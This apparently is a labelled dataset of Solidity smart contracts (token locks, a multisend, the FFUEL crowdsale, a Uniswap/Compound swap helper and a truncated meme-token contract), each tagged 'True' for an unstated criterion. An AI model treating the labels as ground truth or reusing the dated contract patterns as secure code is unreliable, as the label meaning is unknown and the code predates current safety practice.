companyWallet = _companyWallet;
}
/*get total token balance in contract*/
function getTotalTokenBalance(address _tokenAddress) view public returns (uint256)
{
return IERC20(_tokenAddress).balanceOf(address(this));
}
/*get total token balance by address*/
function getTokenBalanceByAddress(address _tokenAddress, address _walletAddress) view public returns (uint256)
{
return walletTokenBalance[_tokenAddress][_walletAddress];
}
/*get allDepositIds*/
function getAllDepositIds() view public returns (uint256[] memory)
{
return allDepositIds;
}
/*get getDepositDetails*/
function getDepositDetails(uint256 _id) view public returns (address _tokenAddress, address _withdrawalAddress, uint256 _tokenAmount, uint256 _unlockTime, bool _withdrawn)
{
return(lockedToken[_id].tokenAddress,lockedToken[_id].withdrawalAddress,lockedToken[_id].tokenAmount,
lockedToken[_id].unlockTime,lockedToken[_id].withdrawn);
}
/*get DepositsByWithdrawalAddress*/
function getDepositsByWithdrawalAddress(address _withdrawalAddress) view public returns (uint256[] memory)
{
return depositsByWithdrawalAddress[_withdrawalAddress];
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity >0.6.99 <0.8.0;
contract COVIDKilledTrump {
function GetTestimony() public pure returns(string memory) {
return "afbbdb82c6566518441a45a6225957450cc24c409268f0f1857acee43b1b3827";
}
}
|
True
|
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pragma solidity ^0.6.3;
contract Dzappy {
function multisend(uint256[] memory amounts, address payable[] memory receivers) payable public {
assert(amounts.length == receivers.length);
assert(receivers.length <= 100); //maximum receievers can be 100
for(uint i = 0; i< receivers.length; i++){
receivers[i].transfer(amounts[i]);
}
}
}
|
True
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pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30326400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x641DBb00849Ff2a9720Be40154BB36Df44c6bCc4;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
}
|
True
|
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pragma solidity ^0.4.18;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: contracts/FFUELCoinToken.sol
contract FFUELCoinToken is MintableToken {
string public constant name = "FIFO FUEL";
string public constant symbol = "FFUEL";
uint8 public decimals = 18;
bool public tradingStarted = false;
// version cache buster
string public constant version = "v2";
// allow exceptional transfer for sender address - this mapping can be modified only before the starting rounds
mapping (address => bool) public transferable;
/**
* @dev modifier that throws if spender address is not allowed to transfer
* and the trading is not enabled
*/
modifier allowTransfer(address _spender) {
require(tradingStarted || transferable[_spender]);
_;
}
/**
*
* Only the owner of the token smart contract can add allow token to be transfer before the trading has started
*
*/
function modifyTransferableHash(address _spender, bool value) onlyOwner public {
transferable[_spender] = value;
}
/**
* @dev Allows the owner to enable the trading.
*/
function startTrading() onlyOwner public {
tradingStarted = true;
}
/**
* @dev Allows anyone to transfer the tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) allowTransfer(msg.sender) public returns (bool){
return super.transfer(_to, _value);
}
/**
* @dev Allows anyone to transfer the tokens once trading has started or if the spender is part of the mapping
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) allowTransfer(_from) public returns (bool){
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public allowTransfer(_spender) returns (bool) {
return super.approve(_spender, _value);
}
/**
* Adding whenNotPaused
*/
function increaseApproval(address _spender, uint _addedValue) public allowTransfer(_spender) returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
/**
* Adding whenNotPaused
*/
function decreaseApproval(address _spender, uint _subtractedValue) public allowTransfer(_spender) returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/crowdsale/Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
// override to create custom buy
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// overrided to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
// File: contracts/crowdsale/FinalizableCrowdsale.sol
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
emit Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal{
}
}
// File: contracts/FFUELCoinTokenCrowdSale.sol
contract FFUELCoinTokenCrowdSale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public numberOfPurchasers = 0;
// maximum tokens that can be minted in this crowd sale
uint256 public maxTokenSupply = 0;
// amounts of tokens already minted at the begining of this crowd sale - initialised later by the constructor
uint256 public initialTokenAmount = 0;
// version cache buster
string public constant version = "v2";
// pending contract owner
address public pendingOwner;
// minimum amount to participate
uint256 public minimumAmount = 0;
//
FFUELCoinToken public token;
// white listing admin - initialised later by the constructor
address public whiteListingAdmin;
address public rateAdmin;
bool public preSaleMode = true;
uint256 public tokenRateGwei;
address vested;
uint256 vestedAmount;
function FFUELCoinTokenCrowdSale(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _minimumAmount,
uint256 _maxTokenSupply,
address _wallet,
address _pendingOwner,
address _whiteListingAdmin,
address _rateAdmin,
address _vested,
uint256 _vestedAmount,
FFUELCoinToken _token
)
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime, _rate, _wallet) public
{
require(_pendingOwner != address(0));
require(_minimumAmount >= 0);
require(_maxTokenSupply > 0);
pendingOwner = _pendingOwner;
minimumAmount = _minimumAmount;
maxTokenSupply = _maxTokenSupply;
// whitelisting admin
setAdmin(_whiteListingAdmin, true);
setAdmin(_rateAdmin, false);
vested = _vested;
vestedAmount = _vestedAmount;
token=_token;
}
/**
* @dev Calculates the amount of coins the buyer gets
* @param weiAmount uint the amount of wei send to the contract
* @return uint the amount of tokens the buyer gets
*/
function computeTokenWithBonus(uint256 weiAmount) public view returns (uint256) {
uint256 tokens_ = 0;
if (weiAmount >= 100000 ether) {
tokens_ = weiAmount.mul(50).div(100);
} else if (weiAmount < 100000 ether && weiAmount >= 50000 ether) {
tokens_ = weiAmount.mul(35).div(100);
} else if (weiAmount < 50000 ether && weiAmount >= 10000 ether) {
tokens_ = weiAmount.mul(25).div(100);
} else if (weiAmount < 10000 ether && weiAmount >= 2500 ether) {
tokens_ = weiAmount.mul(15).div(100);
}
return tokens_;
}
/**
*
* Create the token on the fly, owner is the contract, not the contract owner yet
*
**/
function createTokenContract() internal returns (MintableToken) {
return token;
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0), "not for 0x0");
//
require(validPurchase(), "Crowd sale not started or ended, or min amount too low");
// buying can only begins as soon as the ownership has been transferred
require(owner == pendingOwner, "ownership transfer not done");
require(tokenRateGwei != 0, "rate invalid");
// validate KYC here
// if not part of kyc then throw
bool cleared;
uint16 contributor_get;
address ref;
uint16 affiliate_get;
(cleared, contributor_get, ref, affiliate_get) = getContributor(beneficiary);
// Transaction do not happen if the contributor is not KYC cleared
require(cleared, "not whitelisted");
uint256 weiAmount = msg.value;
// make sure we accept only the minimum contribution
require(weiAmount > 0);
// Compute the number of tokens per Gwei
uint256 tokens = weiAmount.div(1000000000).mul(tokenRateGwei);
// compute the amount of bonus, from the contribution amount
uint256 bonus = computeTokenWithBonus(tokens);
// compute the amount of token bonus for the contributor thank to his referral
uint256 contributorGet = tokens.mul(contributor_get).div(10000);
// Sum it all
tokens = tokens.add(bonus);
tokens = tokens.add(contributorGet);
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
// update
weiRaised = weiRaised.add(weiAmount);
numberOfPurchasers = numberOfPurchasers + 1;
forwardFunds();
// ------------------------------------------------------------------
// compute the amount of token bonus that the referral get :
// only if KYC cleared, only if enough tokens still available
// ------------------------------------------------------------------
bool refCleared;
(refCleared) = getClearance(ref);
if (refCleared && ref != beneficiary)
{
// recompute the tokens amount using only the rate
tokens = weiAmount.div(1000000000).mul(tokenRateGwei);
// compute the amount of token for the affiliate
uint256 affiliateGet = tokens.mul(affiliate_get).div(10000);
// capped to a maxTokenSupply
// make sure we can not mint more token than expected
// we do not throw here as if this edge case happens it can be dealt with of chain
if (token.totalSupply() + affiliateGet <= maxTokenSupply)
{
// Mint the token
token.mint(ref, affiliateGet);
emit TokenPurchase(ref, ref, 0, affiliateGet);
}
}
}
// overriding Crowdsale#validPurchase to add extra cap logic
// @return true if investors can buy at the moment
function validPurchase() internal view returns (bool) {
// make sure we accept only the minimum contribution
bool minAmount = (msg.value >= minimumAmount);
// cap crowdsaled to a maxTokenSupply
// make sure we can not mint more token than expected
bool lessThanMaxSupply = (token.totalSupply() + msg.value.div(1000000000).mul(tokenRateGwei)) <= maxTokenSupply;
//bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && minAmount && lessThanMaxSupply;
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
bool capReached = token.totalSupply() >= maxTokenSupply;
return super.hasEnded() || capReached;
}
/**
*
* Called when the admin function finalize is called :
*
* it mint the remaining amount to have the supply exactly as planned
* it transfer the ownership of the token to the owner of the smart contract
*
*/
function finalization() internal {
//
// send back to the owner the remaining tokens before finishing minting
// it ensure that there is only a exact maxTokenSupply token minted ever
//
uint256 remainingTokens = maxTokenSupply - token.totalSupply();
// mint the remaining amount and assign them to the owner
token.mint(owner, remainingTokens);
emit TokenPurchase(owner, owner, 0, remainingTokens);
// finalize the refundable inherited contract
super.finalization();
// no more minting allowed - immutable
token.finishMinting();
// transfer the token owner ship from the contract address to the real owner
token.transferOwnership(owner);
}
/**
*
* Admin functions only called by owner:
* Can change events dates
*
*/
function changeDates(uint256 _startTime, uint256 _endTime) public onlyOwner {
require(_endTime >= _startTime, "End time need to be in the > _startTime");
startTime = _startTime;
endTime = _endTime;
}
/**
*
* Admin functions only called by owner:
* Change the owner
*
*/
function transferOwnerShipToPendingOwner() public {
// only the pending owner can change the ownership
require(msg.sender == pendingOwner, "only the pending owner can change the ownership");
// can only be changed one time
require(owner != pendingOwner, "Only one time allowed");
// raise the event
emit OwnershipTransferred(owner, pendingOwner);
// change the ownership
owner = pendingOwner;
// pre mint the coins
preMint(vested, vestedAmount);
}
/**
*
* Return the amount of token minted during that crowd sale, removing the token pre minted
*
*/
function minted() public view returns (uint256)
{
return token.totalSupply().sub(initialTokenAmount);
}
// hard code the pre minting
function preMint(address vestedAddress, uint256 _amount) public onlyOwner {
runPreMint(vestedAddress, _amount);
//
runPreMint(0x6B36b48Cb69472193444658b0b181C8049d371e1, 50000000000000000000000000);
// reserved
runPreMint(0xa484Ebcb519a6E50e4540d48F40f5ee466dEB7A7, 5000000000000000000000000);
// bounty
runPreMint(0x999f7f15Cf00E4495872D55221256Da7BCec2214, 5000000000000000000000000);
// team
runPreMint(0xB2233A3c93937E02a579422b6Ffc12DA5fc917E7, 5000000000000000000000000);
// advisors
// only one time
preSaleMode = false;
}
// run the pre minting
// can be done only one time
function runPreMint(address _target, uint256 _amount) public onlyOwner {
if (preSaleMode)
{
token.mint(_target, _amount);
emit TokenPurchase(owner, _target, 0, _amount);
initialTokenAmount = token.totalSupply();
}
}
/**
*
* Allow exceptional transfer
*
*/
function modifyTransferableHash(address _spender, bool value) public onlyOwner
{
token.modifyTransferableHash(_spender, value);
}
// add a way to change the whitelistadmin user
function setAdmin(address _adminAddress, bool whiteListAdmin) public onlyOwner
{
if (whiteListAdmin)
{
whiteListingAdmin = _adminAddress;
} else {
rateAdmin = _adminAddress;
}
}
/**
*
* Admin functions only executed by rateAdmin
* Can change the rate for the token sold
* to increase the trust we could imagine to setup a range to avoid modification that are too far outside of the
* acceptable range :
*
*/
function setTokenRateInGwei(uint256 _tokenRateGwei) public {
require(msg.sender == rateAdmin, "invalid admin");
tokenRateGwei = _tokenRateGwei;
// update the integer rate accordingly, even if not used to not confuse users
rate = _tokenRateGwei.div(1000000000);
}
//
// Whitelist with affiliated structure
//
struct Contributor {
bool cleared;
// % more for the contributor bring on board
uint16 contributor_get;
// eth address of the referer if any - the contributor address is the key of the hash
address ref;
// % more for the referrer
uint16 affiliate_get;
}
mapping(address => Contributor) public whitelist;
address[] public whitelistArray;
/**
* @dev Populate the whitelist, only executed by whiteListingAdmin
*
*/
function setContributor(address _address, bool cleared, uint16 contributor_get, uint16 affiliate_get, address ref) public {
// not possible to give an exorbitant bonus to be more than 100% (100x100 = 10000)
require(contributor_get < 10000, "c too high");
require(affiliate_get < 10000, "a too high");
require(msg.sender == whiteListingAdmin, "invalid admin");
Contributor storage contributor = whitelist[_address];
contributor.cleared = cleared;
contributor.contributor_get = contributor_get;
contributor.ref = ref;
contributor.affiliate_get = affiliate_get;
}
function getContributor(address _address) public view returns (bool, uint16, address, uint16) {
return (whitelist[_address].cleared, whitelist[_address].contributor_get, whitelist[_address].ref, whitelist[_address].affiliate_get);
}
function getClearance(address _address) public view returns (bool) {
return whitelist[_address].cleared;
}
}
|
True
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pragma solidity >=0.6.2;
import "./IERC20.sol";
import "./ICERC20.sol";
import "./IUniswapV2Router02.sol";
contract Compounder {
IUniswapV2Router02 constant router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
/**
* @dev Swaps a token on uniswap, then mints
* cTokens for the purchased token.
* Note: Caller must already have approved Compounder
* to transfer at least sellAmount of sellToken
* @param sellToken Base token to sell
* @param buyToken Base token to swap sellToken for
* @param buyCToken cToken for buyToken
* @param sellAmount Number of sellToken to sell
* @param minBuyToken Minimum number of buyToken to receive
*/
function swapTokenForCToken(
IERC20 sellToken,
IERC20 buyToken,
ICERC20 buyCToken,
uint256 sellAmount,
uint256 minBuyToken
) public {
require(
sellToken.transferFrom(msg.sender, address(this), sellAmount),
"Transfer failed"
);
require(
sellToken.approve(address(router), sellAmount),
"Failed to approve router."
);
address[] memory path = new address[](2);
path[0] = address(sellToken);
path[1] = address(buyToken);
uint[] memory amounts = router.swapExactTokensForTokens(
sellAmount,
minBuyToken,
path,
address(this),
block.timestamp + 1
);
uint256 minted = buyCToken.mint(amounts[1]);
require(
buyCToken.transfer(msg.sender, minted),
"Failed to transfer token."
);
}
/**
* @dev Redeems a cToken for its base token, then swaps it
* on UniSwap for the desired output token and transfers it
* to the caller.
* Note: Caller must already have approved Compounder
* to transfer at least redeemAmount of sellCToken
* @param sellToken Base token for the cToken to sell
* @param sellCToken cToken for sellToken
* @param buyToken Desired output token
* @param redeemAmount Number of cTokens to redeem
* @param minBuyToken Minimum number of output tokens
*/
function swapCTokenForToken(
IERC20 sellToken,
ICERC20 sellCToken,
IERC20 buyToken,
uint256 redeemAmount,
uint256 minBuyToken
) public {
require(
sellCToken.transferFrom(msg.sender, address(this), redeemAmount),
"Transfer failed"
);
uint256 redeemed = sellCToken.redeem(redeemAmount);
address[] memory path = new address[](2);
path[0] = address(sellToken);
path[1] = address(buyToken);
require(
sellToken.approve(address(router), redeemed),
"Failed to approve router."
);
uint[] memory amounts = router.swapExactTokensForTokens(
redeemed,
minBuyToken,
path,
address(this),
block.timestamp + 1
);
require(
buyToken.transfer(msg.sender, amounts[1]),
"Failed to transfer token."
);
}
/**
* @dev Redeems a cToken for its base token, swaps it
* on UniSwap for the desired output token, mints cTokens
* for the output and returns them to the caller.
* Note: Caller must already have approved Compounder
* to transfer at least redeemAmount of sellCToken
* @param sellToken Base token for the cToken to sell
* @param sellCToken cToken for sellToken
* @param buyToken Base token for the cToken to buy
* @param buyCToken cToken for buyToken
* @param redeemAmount Number of cTokens to redeem
* @param minBuyToken Minimum number of buyTokens for the swap
*/
function swapCTokenForCToken(
IERC20 sellToken,
ICERC20 sellCToken,
IERC20 buyToken,
ICERC20 buyCToken,
uint256 redeemAmount,
uint256 minBuyToken
) public {
require(
sellCToken.transferFrom(msg.sender, address(this), redeemAmount),
"Transfer failed"
);
uint256 redeemed = sellCToken.redeem(redeemAmount);
address[] memory path = new address[](2);
path[0] = address(sellToken);
path[1] = address(buyToken);
require(
sellToken.approve(address(router), redeemed),
"Failed to approve router."
);
uint[] memory amounts = router.swapExactTokensForTokens(
redeemed,
minBuyToken,
path,
address(this),
block.timestamp + 1
);
require(
sellToken.approve(address(buyCToken), amounts[1]),
"Failed to approve compound."
);
uint256 minted = buyCToken.mint(amounts[1]);
require(
buyCToken.transfer(msg.sender, minted),
"Failed to transfer cToken."
);
}
}
|
True
|
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// SPDX-License-Identifier: Unlicensed
/*
IN ELON WE TRUST!
MuskSwap presents you with a better and more luxurious onchain swap. MuskSwap enables people to swap your crypto assets at the best exchange rate.
Various protocols will be introduced in the MuskSwap. It is our goal to provide a Musk Aggregation Protocol which can not only facilitate cost-efficient and secure swap transactions across multiple liquidity sources but also facilitates the most innovative and flexible limit order swap opportunities in DeFi by setting up a Limit Order Protocol.
A spot price aggregator will also be introduced. The Musk spot price aggregator is a set of smart contracts that extract price data for tokens traded on DEXes from the blockchain which can easily allow our users to access the most updated and accurate information in order to make the most suitable decision.
https://muskyswap.xyz
https://t.me/muskswapeth
https://twitter.com/muskswapeth
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
